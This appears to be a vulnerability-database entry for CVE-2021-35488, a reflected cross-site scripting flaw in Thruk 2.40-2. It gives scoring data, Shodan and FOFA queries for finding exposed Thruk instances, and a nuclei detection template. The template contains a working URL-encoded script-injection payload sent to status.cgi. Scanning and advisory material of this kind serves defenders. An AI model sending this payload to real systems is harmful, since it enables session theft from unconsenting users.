SecurityContext

CVE-2021-35488: Thruk 2.40-2 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.02303
  • Epss percentile: 0.83762
  • Cpe: cpe:2.3:a:thruk:thruk:2.40-2:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="thruk", title=="thruk monitoring webinterface"
  • Max-request: 1
  • Product: thruk
  • Shodan-query: http.html:"Thruk", http.html:"thruk"
  • Vendor: thruk
  • Verified: yes

Products

ProductIndexedUrl
thruk:thrukyes/v1/products/thruk/thruk

Labels

  • Name: Thruk - Reflected XSS
  • Impact: Attackers can execute arbitrary JavaScript in the context of the victim's browser, potentially stealing cookies or session tokens.
  • Remediation: Sanitize and encode user input in the 'title' parameter; update to the latest version if available.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2021-35488

```yaml

id: CVE-2021-35488

info:

name: Thruk 2.40-2 - Cross-Site Scripting

author: arafatansari

severity: medium

description: |

Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

remediation: |

Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.

reference:

- https://www.gruppotim.it/redteam

- https://www.thruk.org/changelog.html

- https://nvd.nist.gov/vuln/detail/CVE-2021-35488

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2021-35488

cwe-id: CWE-79

epss-score: 0.02303

epss-percentile: 0.83762

cpe: cpe:2.3:a:thruk:thruk:2.40-2:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: thruk

product: thruk

shodan-query:

- http.html:"Thruk"

- http.html:"thruk"

fofa-query:

- body="thruk"

- title=="thruk monitoring webinterface"

tags: cve2021,cve,thruk,xss,vuln

http:

- method: GET

path:

- "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

matchers-condition: and

matchers:

- type: word

words:

- "'></script><script>alert(document.domain)</script>"

- "Thruk Monitoring"

condition: and

- type: status

status:

- 401

digest: 4a0a00473045022100fff976e890a0456301d937c4ff5af84000d29fb2b05465a7ecce3150aaaaf30a02206a4ee31c6798c877ea668c589e8fe17bdaad52967fe61f6af2358cba3dc01bd7:922c64590222798bb761d5b6d8e72950

```